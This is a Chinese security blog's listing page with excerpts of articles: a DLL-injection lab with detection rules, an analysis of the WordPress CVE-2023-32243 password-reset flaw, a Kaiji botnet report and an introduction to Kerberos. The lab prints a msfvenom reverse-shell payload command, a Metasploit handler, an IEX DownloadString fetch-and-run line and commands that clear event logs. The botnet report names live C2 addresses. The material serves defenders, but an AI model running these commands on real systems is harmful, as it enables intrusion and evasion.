网站首页 包含标签 网络安全 的所有文章

  • DLL注入的术与道:分析攻击手法与检测规则

    【前言】 在攻防对抗日渐常态化的今天,攻击者的攻击已变得越来越复杂和难以防御,而作为企业的防守人员,也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的,同时还会站在防守者的角度分析DLL注入的特征以及检测规则。因此,无论你是一名甲方安全人员、红队大佬,还是对网络安全感兴趣的个人,这篇文章都将会帮助你更好地理解DLL注入的工作原理,特征以及应对方式等。让我们一起开启本篇内容的学习吧!PS:因篇幅有点长,先把本篇目录列出,以帮助读者们更好地理解本篇要领! 【正文】 1、攻击假设 1.1、什么是DLL? DLL 本质上是可供其他程序使用的函数和数据的集合,可将其视为虚拟公共资源,Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。 1.2、DLL注入 (T1055.001) 参考ATT&CK攻击矩阵,进程注入的方法比较丰富,涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入:首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间,然后创建远程线程并执行,对应ATT&CK的T1055.001,该方法需要事先将DLL存于磁盘上。 2、环境构建 使用Vmware安装系统镜像:Windows10(victim),kali(攻击)、Ubuntu22.04.2(日志分析)。 在Ubuntu20.04.2安装Wireshark与Volatility;方法参考其代码仓库。Kali已内置安全框架,直接安装即可。 Windows 10 Enterprise至Microsoft Tech Community下载。 2.1 Sysmon 该工具安装时务必指定配置文件,如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config(Florian Roth)。安装完成后运行Powershell命令行:Get-Service sysmon验证是否安装成功。 2.2 配置PowerShell ScriptBlock日志 PowerShell 日志类型:Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志,将配置并激活 ScriptBlock。以管理员运行Powershell,执行如下命令:1)更改powershell执行策略,以允许后续配置更改; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine 2)新建ScriptBlockLogging注册表路径; New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force 3)新增EnableScriptBlockLogging 属性为DWORD并设置为1; New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force 4)开启日志记录 wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true 2.3 其他软件 Process Hacker:实时分析;Wireshark:流量分析。 3、攻击模拟 3.1 生成dll文件 (1)在Kali VM使用msfvenom生成payload,msfvenom是Metasploit框架中的组件。命令如下: sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll Lhost 表示监听的主机,此处代表Kali主机, Lport 表示监听的端口. -f 生成的文件类型,此处是dll。 成功执行后如下图所示: (2)使用python命令(python3 -m http.server 8008)构建简单的服务,在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后,将与恶意主机建立连接。效果如下: (3)接下来将在Kali启动脚本开启监听,为后续操作建立通道。执行如下命令: msfconsole:开启msf框架;use exploit/multi/handler:生成处理器;set payload windows/meterpreter/reverse_tcp:指定监听的地址与端口 当payload在目标系统上执行时,它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令: set LHOST 192.168.230.155set LPORT 88run 3.2 执行注入 (1)开启WireShark捕获数据包。选择正确的网卡设备进行监听 (2)清除系统当前Sysmon和PowerShell ScriptBlock日志   以管理员身份打开 PowerShell 终端,运行以下两个命令: wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational” (3)准备Powershell脚本该脚本具备实现DLL注入的功能,目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存,操作如下: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1') 若无任何输出,则表示执行成功。 3.3 注入恶意dll 此时进程注入脚本运行在powershell进程中,在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID,将其作为参数传递给注入脚本。运行以下命令: Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll 回到Kali系统,查看msf控制面板的输出,可观察到成功回连。如下图所示: 3.4 执行命令 连接成功后,可以进一步操作受控机器,比如下载文件或执行命令查看详细信息。执行过程如下所示: 3.5日志导出 以管理员打开powershell,输出sysmon与powershell script命令行日志,运行如下命令:Sysmon日志: wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx” Powershell日志: wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]" 4. 攻击分析 4.1 Powershell脚本分析 (1)首先,恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程,分别是:CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态,并返回快照。Process32First检索关于快照中第一个进程的信息,然后在循环中使用Process32Next对其进行迭代,但本次实验中未涉及上述步骤,而是指定目标进程ID,并将其作为参数传入。 (2)选取目标进程后,恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF,表示打开进程时获取了所有可能的权限,允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。 (3)调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。(4)使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。 (5)调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread),将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL),将该线程的执行地址设置为 $LoadLibraryAddr(kernel32.dll 中的 LoadLibraryA 函数),以便加载远程进程中的 DLL。 4.2 Dll分析 使用IDA Pro打开evil.dll文件,可以看到此模块包含三个函数:sub_10001000,sub_10001050,sub_100011A0,DllEntryPoint(导出函数),其中sub_10001050完成核心功能:实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值(StartupInfo、IpProcessInformation 结构体)、当前工作目录、环境变量、创建标志、句柄,随后创建rundll32.exe进程,再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。 继续使用IDA将sub_10001050转换为伪代码,如下图所示, 调用 WriteProcessMemory 函数,将地址为 unk_10003000 的数据块推送到堆栈中,写入目标进程的内存执行。 提取该处的shellcode保存为二进制文件,使用工具scdbg分析此部分shellcode功能,可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。 查看MS源码,如下图所示。除了完成以上功能外,该stager继续处理接收到的内容,首先开辟4字节的buffer用于接收第二阶段的stage,使用virtualAlloc开辟对应长度的空间,循环读取接收内容并记录当前地址ebx,最后运行ebp用于第二阶段的持续控制。 4.3过程分析 过程回顾: (1)首先生成了一个恶意 DLL。(2)将此 DLL 传输到受害者的系统。(3)开启了meterpreter监听处理。(4)下载并执行powershell 脚本,将其注入到内存中。(5)运行合法进程(rufus.exe),将恶意 dll 注入到内存空间中。(6)注入的 DLL回连步骤3中的地址,从而建立连接。 (7)与控制端进行通信处理接第二阶段的payload。 实际的攻击场景可能是这样:攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件,它可能会运行嵌入的 VBA 宏,其中包含恶意代码。它负责下载攻击脚本并将其注入内存;比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入,通常比文件落地更难以检测。 首先使用Windows原生工具回顾攻击过程,包括:网络连接、进程、注册表项等。 4.3.1网络连接 打开 PowerShell 管理终端并运行以下命令: netstat -naob 命令行参数包含 o 和 b,显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接,如下图所示: 它用于加载 DLL。那么问题来了:为什么它会参与出站网络连接?在日常情况下,应该立即查看有关该 IP 的更多信息。例如是内部地址,是否有与之相关的业务系统,是否网络上的其他系统也连接到它,通过关联威胁情报或IOC库查看详细信息。 4.3.2进程信息 接下来需要了解上述进程的详细信息,例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下: tasklist /m /fi "pid eq 6256" 此输出似乎没有任何异常,查看PID=6256的父进程: wmic process where processid=6256 get parentprocessid 其父进程 PPID 为 1480, 查看该进程名称,如下图所示: wmic process where processid=1480 get Name 我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数,因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。 思考:目前发现2处异常点:(1)创建网络连接的进程及父子进程关系异常。 (2)该进程在没有命令行参数的情况下运行异常。 4.3.3 Process Hacker 使用 Process Hacker 等工具查看进程的关键属性: 进程树关系 程序签名是否合法 当前启动目录 命令行参数 线程起始地址 执行权限 内存。 以管理员身份运行Process Hacker,筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。 (1)Parent-Child relationships观察到进程 rufus.exe生成了子进程 rundll32.exe,随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL,此进程关系是比较可疑的。(2)Signature 双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名,此处暂无可疑信息。 (3)Current directory 在同一张图中,我们可以看到当前进程的工作目录是桌面,因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。 (4)Command-line arguments 看到命令行是 rundll32.exe,之前讨论在合理场景下需要路径与命令行参数。 (5)Thread Start Address在“属性”窗口顶部,选择“线程”选项卡。可以在“开始地址”下看到它已被映射,表明文件它确实存在于磁盘上,表明这不是一个反射加载的 DLL。(6)Memory Permissions在“属性”窗口选择“内存”。向下查询观察到RWX 权限。 从结果中看到存在两个具有读-写-执行权限的内存空间,在正常程序执行的过程中,很少有合法程序会写入内存然后立即执行它。 (7)Memory Content双击size为172 kB的memory,可查看加载的内容,从图中可看出: 两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。 总结:使用 Process Hacker发现异常点如下: rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境; rundll32.exe 从桌面运行; 该进程还具有 RWX 内存空间权限并包含 PE 文件。 4.3.4 Sysmon 安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲,如果了解更多有关 Sysmon 的详细信息,推荐连接: (1)Sysmon详情:https://www.某tube.com/watch?v=6W6pXp6EojY(2)Trustedsec:https://www.某tube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7 (3)Sysmon for threathunting:https://www.某tube.com/watch?v=7dEfKn70HCI 打开内置的EventViewer,包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec https://www.blackhillsinfosec.com/a-sysmon-event-id-breakdown/ 首先查看第一个事件ID=22,此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示: 命令行地址参数为raw.githubusercontent.com,因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后,会访问 Web 服务器下载另一个脚本(即Payload),此行为可能会产生 DNS请求记录,该记录是检测命令与控制行为重要指标。与IP地址类似,当我们发现有外联请求时,需要确定地址是否为业务正常请求,是否为服务合法地址,是否为威胁情报黑名单,是否为已知恶意 IOC库地址。 随之我们看到event=3的网络连接,此时evil.dll被注入rufus内存,rundll32创建网络连接,回连至攻击机器的88端口。 然后,发生三个注册表操作,事件ID分别为13、12、13。第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示: 实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。(备注:考虑恶意软件的行为,认为该值应该被设置为1 (DWORD (0x00000001)),表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0,待进一步解决。)下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。 该注册表项与上面的名称相同(DisableAntiSpyware),但是注意 TargetObject 的完整路径。第一个位于HKU\...下,而这里的位于HKLM\...下。HKU代表HKEY_USERS,HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息,而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户,第二个涉及整个系统。svchost.exe 进程以系统权限(最高级别的权限)运行,这使其能够修改系统范围的密钥。 在这里,我们可以看到与第一个条目中执行的操作相同,即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态(这就是删除它的实际效果),确保系统不会出现可能干扰恶意软件操作的配置。最后,观察到ID 为 1 的事件,该事件是恶意软件活动重要特征。   在这里我们可以看到Windows远程协助COM服务器可执行文件(raserver.exe)已经启动。该工具用于远程协助,允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问,类似于远程桌面,可用于与系统交互并可能窃取数据。 4.3.5 PowerShell 脚本块 开启特定模块的日志,Powershell日志量相对较少,如下图所示。首先,PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。在第三个条目中,我们可以看到与 PowerShell 命令相关的日志,该命令从 Web 服务器下载注入脚本并将其加载到内存中。在现实的攻击场景中,从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。因此,当我们运行前面的 IEX 命令时,它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示,以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目,这是在实际攻击中看到的内容。接下来是具有完全相同时间戳的另外两个条目,其中包含我们未显式运行的命令。由于时间戳完全相同,可以假设它们是由我们运行的命令(Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll)产生的。这些条目可能与程序集交互或分析程序集的过程有关,是 DLL 注入过程的一部分。 总结: 到目前为止我们没有深入分析攻击的过程与原理,但是通过日志我们能发掘较多异常点。在本节中,使用 Sysmon可疑收集到:(1)下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;(2)该恶意软件操纵了DisableAntiSpyware 注册表项;(3)该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe,从而创建了另一个潜在的后门;使用 PowerShell ScriptBlock 收集到:(1)powershell从 Web 服务器下载脚本并将其注入内存; (2)使用特定命令行将脚本注入到rufus.exe中,同时可疑查看 dll 注入脚本的实际内容。 4.3.6流量分析 首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包(响应),查看数据包详细信息可查看返回值不同的地址,可能对应不同的CDN地址。我们可以在SIEM中立即查询该IOC,例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后,我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证,然后进行加密 (TLS) 交换。可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键数据包,然后选择“跟随”-“TCP 流”。可查看交换的整个数据流,虽然大部分内容被加密/混淆,但是在顶部我们看到魔术字节和 dos本文,显示有Windows可执行文件头的签名标识。 5.检测规则 rundll32.exe的使用语法如下: rundll32.exe <dllname>,<entrypoint> <optional arguments> 结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。 父子进程关系 在某些场景下存在不规范的命令行参数,日志详情如下所示:从日志内容看为进程启动日志,但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll,再从搜索结果中观察父子进程的关系。如下图所示: 实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生,实际上这一场景可以通过此技巧进行检测。 (1)命令行参数继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数,以event_id、image、commandLine为字段建立检测规则如下所示:以dllname、fuction聚合统计后建立阈值,关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll,这属于可疑程度很高的行为需要进一步结合其他数据进行判断,如下图所示:(2)进程路径Rundll32合法路径为两类: C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe 利用sysmon日志中的Image字段建立一条检测规则:接下来统计出现过的路径值,尽一切可能建立正常的行为基线,排除正常路径值,关注异常值。例如以下场景就可能涉及恶意行为。(3)网络连接本次模拟中,rundll32 在网络通信行为只有一处,即回连攻击机的88端口。根据研究人员观察,rundll32的网络通信行为并不活跃,对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合:如果能结合进程启动日志,建立进程关系图就能更直观的展示行为序列,从而进行研判。 【总结】 本文采用较为经典的创建线程实现注入,实际上至少有10种进程注入的实现方式,不同攻击方式可能对应不同的检测规则,后续会覆盖不同的场景。如果在生产环境中有更好的规则调优方法,欢迎评论区分享你的经验。 [1]https://attack.mitre.org/techniques/T1055/ [2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html [3]https://mp.weixin.qq.com/s/9v6qGqHlzD6Ee3ICOeuVvQ [4] https://www.elastic.co/cn/blog [5] https://muchangfeng.gitbook.io/ ...

    2023-11-19 204
  • 漏洞分析 | WordPress 插件权限提升漏洞(CVE-2023-32243)

    漏洞概述 Essential Addonsfor Elementor是一款功能强大、易于使用的WordPress插件,为使用Elementor建立网站的用户提供了众多额外的功能和组件,使得用户能够更轻松地创建各种网站元素,并且还提供了许多预设计样式和高级功能,使得用户能够更好地管理和定制网站。此外,通过WordPress官方统计(https://api.wordpress.org/plugins/info/1.0/essential-addons-for-elementor-lite.json)可知,它的安装量超过百万。 近期,其密码重置功能存在授权问题,允许未经认证的远程攻击者实现权限提升。 受影响版本 受影响版本:5.4.0 <= Essential Addons for Elementor <= 5.7.1 漏洞分析 问题关键在于Essential Addons for Elementor的密码重置功能没有验证密码重置密钥,就直接改变了指定用户的密码,也就是说攻击者只需知道用户名,就有可能进行密码重置,并获得对应账户的权限。 这里我们采用打补丁前的最新版本(5.7.1)进行分析,具体链接如下:https://downloads.wordpress.org/plugin/essential-addons-for-elementor-lite.5.7.1.zip 先从includes/Classes/Bootstrap.php看起,这段代码是在WordPress中添加一个动作,当网站初始化时触发该动作,调用login_or_register_user() 该函数位于includes/Traits/Login_Registration.php 它的作用是处理登录和注册表单的提交数据,并根据提交的数据调用相应的方法。正如漏洞概述所说,问题关键在于密码重置,所以我们继续跟进reset_password(),它做的第一步操作就是检查page_id和widget_id是否为空,若为空则返回”xxx ID is missing”,用作后续的错误处理,所以我们首先要做的就是给这两个id赋值: 接着代码就会检查eael-resetpassword-nonce的值是否为空,若不为空则通过wp_verify_nonce()进行验证。 那么问题来了,nonce是什么?如何获取? 在 WordPress 中,nonce 是一个随机字符串,用于防止恶意攻击和跨站请求伪造(CSRF)攻击,它通常与表单一起使用,在表单提交时添加一个随机值,以确保表单只能被特定的用户或请求使用。而关于nonce如何获取,wp_create_nonce()可以做到这一点。 function wp_create_nonce( $action = -1 ) { $user = wp_get_current_user(); $uid = (int) $user->ID; if ( ! $uid ) { /** This filter is documented in wp-includes/pluggable.php */ $uid = apply_filters( 'nonce_user_logged_out', $uid, $action ); } $token = wp_get_session_token( $action ); $i = wp_nonce_tick( $action ); return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 ); } 但需要注意的是,攻击者无法通过本地生成的 nonce 绕过受害者站点的wp_verify_nonce() 验证,因为他们不能在本地生成与受害者站点相同的 nonce。不过还有一种方法来获取nonce,直接访问主页即可在localize里找到它。 至于原因,则是它被includes/Classes/Asset_Builder.php::load_commnon_asset()设置在localize_object内: 跟踪localize_object不难发现,它被两个函数调用过: 先看add_inline_js(),它用于加载内联js代码和变量。在前端页面加载时,浏览器将加载该代码,并在js中创建名为 localize 的变量,该变量的值就是localize_objects 数组经wp_json_encode()转换的json字符串。 显然,我们刚才直接访问主页发现的localize就是以json格式呈现的。再看frontend_asset_load(),它用于加载前端资源。 最终上述两个函数都会被init_hook()调用,add_inline_js() 被添加到 wp_footer 中,优先级为100,以便在 WordPress 前端页面的页脚中加载内联js代码和变量。而frontend_asset_load() 被添加到 wp_enqueue_scripts 中,优先级为100,以便在 WordPress 前端页面加载时加载所需的前端资源。 之后就是给eael-pass1、eael-pass2赋值,设置新密码了: 当我们满足了上述前提条件以后,再通过rp_login设置想要攻击的用户即可。此时,代码就会借助get_user_by() function get_user_by( $field, $value ) { $userdata = WP_User::get_data_by( $field, $value ); if ( ! $userdata ) { return false; } $user = new WP_User(); $user->init( $userdata ); return $user; } 按我们给定的字段,也就是用户名去检索用户信息: 如果这是真实存在的用户,就调用reset_password() 进行密码重置操作: 漏洞复现 通过以上分析,我们仅需知道用户名以及nonce值,再向受害站点发送满足漏洞触发条件的请求体,即可进行漏洞利用。 当然,之前也提到了受影响的版本,所以漏洞利用之前,需要优先进行版本探测,有两个方法: 第一,由于frontend_asset_load()调用了wp_enqueue_style()来加载css文件,WordPress就会自动将版本号添加到url中,这是为了确保浏览器能够正确缓存css文件,以便在文件更新时将旧文件替换为新文件: function wp_enqueue_style( $handle, $src = '', $deps = array(), $ver = false, $media = 'all' ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); $wp_styles = wp_styles(); if ( $src ) { $_handle = explode( '?', $handle ); $wp_styles->add( $_handle[0], $src, $deps, $ver, $media ); } $wp_styles->enqueue( $handle ); } 第四个参数即代表指定样式表的版本号的字符串,如果它有的话,它将作为一个查询字符串添加到URL中,以达到破坏缓存的目的。如果版本号被设置为false,则会自动添加一个与当前安装的WordPress版本相同的版本号。如果设置为null,则不添加版本号。最终生成这样一条url:https://example.com/front-end/css/view/general.min.css?ver=x.x.x 第二,我们也可以通过/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt进行版本探测。 确认受影响的版本以后,就是搜寻真实用户名。同样有多种方式进行探测: 使用 WordPress 的 rss feed 来提取用户名。这是一种用于发布和传递 WordPress 内容的标准格式,包含了站点的最新文章、页面、评论等内容,以及发布时间、作者、分类、标签等相关信息。这些信息可以被其他站点或应用程序订阅和使用,增加当前站点的曝光度。而其中dc:creator标签就包含了作者名称; 使用 WordPress 的 rest api 来获取用户名; 使用了 Yoast 插件提供的站点图来获取用户名。它较于第一种方法的优势在于只能获取到站点中已发布文章的作者信息。如果站点中还有其他用户没有发布文章,那么这些用户的信息是不会被获取的。 除此之外,WordPress也存在默认用户名(admin),这也是该漏洞最常利用的用户名之一。 做完上述信息收集以后,构造报文即可成功重置任意用户密码: 修复方案 在Essential Addons for Elementor(5.7.2)中,进行reset_password()操作之前,先去做了rp_key的校验。补丁如下:   ...

    2023-10-16 206
  • 实战经验 | 企业安全运营如何做好数据接入?

    1 项目背景 1.1 整体安全观 网络安全管理平台作为企业安全的大脑,也就是整个企业的安全运营中心,其数据接入的多少、好坏直接影响到安全运营的效果,如果以汽车来比喻的话,数据就是汽车的油箱或者电瓶,是保障汽车启动的动力。 1.2 安全现状 (一)数据接入不全面,告警结果不准确 企业IT资产的日志包括系统日志、中间件日志、数据库日志,安全设备日志、网络设备日志,其涉及的日志类型多、规模庞大,企业大部分未完成全部接入,存在监控死角; (二)数据量呈现过多,重要信息难发现 以10Gbps流量的举例,大概每天会产生50000条左右的日志,但是真正有效的日志只有100条以内,想要在几万条的数据中发现几十条有用的数据,无异于是大海捞针; (三)数据存在孤岛,数据无法串联 由于企业建设的阶段不同、要求不同,安全设备存在不同的安全厂商、安全设备之间能力未打通,因此无法进行关联分析,根据洛克希德马丁的杀伤链模型,攻击并不是凭空出现,安全设备的日志与系统的日志之间都是有关联的; (四)能力建设缺失,未有统一规划 安全作为业务的附属,大多数企业在投资还是管理上都存在严重不足的情况,脑海中对安全的要求是不出事就可以,但是安全不同于业务,安全平常是不可见的,只有在被攻击的时候才会体现效果; 1.3 建设依据 ...

    2023-10-10 226
  • 断剑重铸?Kaiji僵尸网络正在重新构建

    概述 近日深信服威胁情报研究团队捕获到Kaiji僵尸网络的最新变种。该病毒最早在2020年出现,使用多种危害较高的漏洞发起攻击,试图感染服务器和物联网设备,能够发起分布式拒绝服务(DDoS)攻击。与其他IoT僵尸网络不同的是,Kaiji并没有从其他(开源或黑市论坛获取)成熟的恶意软件家族中直接套用攻击代码。 Kaiji僵尸网络病毒在最新的版本中发生了非常大的改动,采用最新的Golang1.18版本进行病毒程序编写(老版本采用Golang1.15版本),大大增加了安全人员分析和调试该病毒的难度,同时也进一步证实了越来越多的病毒开发者使用Golang语言的趋势。 Kaiji僵尸网络相对老版本代码被重构,函数功能更加聚焦,函数名不再采用中式拼音命名。最新的版本驻留功能非常强大,增加了多种持久化手段,但是传播模块相对较弱,这里猜测一下,作者正在逐渐更新功能模块,该病毒很可能会随着时间的推移进一步变得更加复杂,未来Kaiji或许会成为一款强大的僵尸网络。 Kaiji僵尸网络的整体攻击流程如下   情报分析 捕获的Kaiji僵尸网络主要使用多种高危RCE漏洞(GitLab未授权访问漏洞(CVE-2021-22205)和Atlassian Confluence OGNL注入漏洞(CVE-2021-26084))利用作为初始攻击。一旦病毒入侵了服务器或物联网设备,Kaiji僵尸网络就可以在其团伙的指挥下发动DDoS攻击。 当前版本的Kaiji持久化模块非常强大,使用超过8种驻留手段进行持久化。Kaiji僵尸网络还会窃取本地SSH密钥,并进一步发起SSH爆破攻击以感染互联网上其他暴露的设备。 Kaiji运行后,若检测自身文件名为dir、find、ls、lsof、netstat、ps、ss之一,则会伪装执行相应命令,复制自身到/tmp/seeintlog后运行。随后会将自身复制到/etc/id.services.conf: 生成shell脚本/etc/32678(传播模块为32679),定时执行/etc/id.services.conf: /etc/id.services.conf运行后,会创建协程,执行main_Link、main_Watchdog、main_Initetc、main_addtime、main_Killcpu。 通信模块[main_Link函数] 通信模块执行时,与C2服务器103.138.80.90:1111、dark1998.f3322.org:8080、156.96.156.105:8080进行通信,发送上线信息后,由main_receive函数等待接收并执行ipbegin、ipend、finish、unload、shell、reverse、remarks、http、ipspoof、tcp、udp、syn、tap等命令,包含执行shell命令、卸载自身、发动DDoS攻击等功能。 传播模块[main_Sshboom函数] 在老版本的Kaiji僵尸网络会窃取本地SSH密钥,进一步发起SSH爆破攻击,爆破成功后会下载执行相应CPU架构的驻留模块,例如:103.138.80.90:808/808/linux_amd64、linux_arm64、linux_mips。最新版本的Kaiji僵尸网络缺少传播模块功能,这里猜测作者正在逐一优化功能模块。 持久化模块[main_Initetc函数] 通过修改/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/boot.local文件实现自启动 利用chkconfig工具添加linux_kill服务,实现自启动 注册linux.service 安装SELinux策略模块 修改/etc/profile.d/bash_config.sh复制自身到/usr/lib/libdlrpcld.so添加定时任务,每隔一分钟执行/.img 替换dir、find、ls、lsof、netstat、ps、ss七个工具 尝试将自身进程名伪装为ksoftirqd/0   小结 Kaiji僵尸网络作者采用最新的Golang1.18版本重构,大幅更新持久化模块,整体复杂度也相比老版本明显增加。可以发现Kaiji正处于前中期发展的僵尸网络,未来作者可能在攻击模块和横向传播模块上进行更新迭代,从而导致Kaiji进一步变得复杂。 此外,鉴于Golang语言的跨平台等特点,近年来将其作为编程语言编码的恶意软件数量急剧增加,Kaiji僵尸网络也进一步证实了使用Golang语言开发恶意软件已成为一种趋势。 参考链接 https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ ...

    2023-09-03 307
  • 内网渗透:Kerberos认证协议安全性分析

    前言 要想进行内网渗透,可以说必须了解kerberos协议,可以说这是一个基础,本文总结了kerberos的认证流程以及可能出现的攻击方式。 Kerberos认证 kerberos认证是什么? Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。 Kerberos一词来源于希腊神话——一条凶猛的三头保卫神犬,用这个名字可能意味保护认证过程中的安全。 同时,Kerberos 是一种基于加密 Ticket 的身份认证协议。 kerberos的组成部分 Kerberos 主要由三个部分组成:Key Distribution Center (即KDC)、Client 和 Service。如下图所示: 下面来看看每个部分具体的作用是什么 KDC:密钥分发中心,负责存储用户信息,管理发放票据,是Kerberos的核心部分。KDC默认是安装在域控中的。 由上图中可以看到 KDC 又分为两个部分: Authentication Server:AS 的作用就是验证 Client 端的身份(确定你是身份证上的本人),验证通过就会给一张 TGT(Ticket Granting Ticket)票给 Client。 Ticket Granting Server:TGS 的作用是通过 AS 发送给 Client 的票(TGT)换取访问 Server 端的票(上车的票 ST)。ST(ServiceTicket)也有资料称为 TGS Ticket,为了和 TGS 区分,在这里就用 ST 来说明。 KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。 client:想访问某个server的客户端,通常是域内主机。 server:提供某种业务的服务,如http,mysql等 域控内还存在AD,也就是活动目录,用于存储用户,用户组,域相关的信息。   kerberos的认证流程 从上图可以看出整个认证过程总共分成了6步,分为下面三个阶段。 AS_REQ & AS_REP TGS_REQ & TGS_REP AP-REQ & AP-REP 下面来详细看看各个阶段所完成的工作: AS_REQ 当域内的某个client想要访问某个服务时,输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个AS_REQ认证请求 请求内容是:Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。 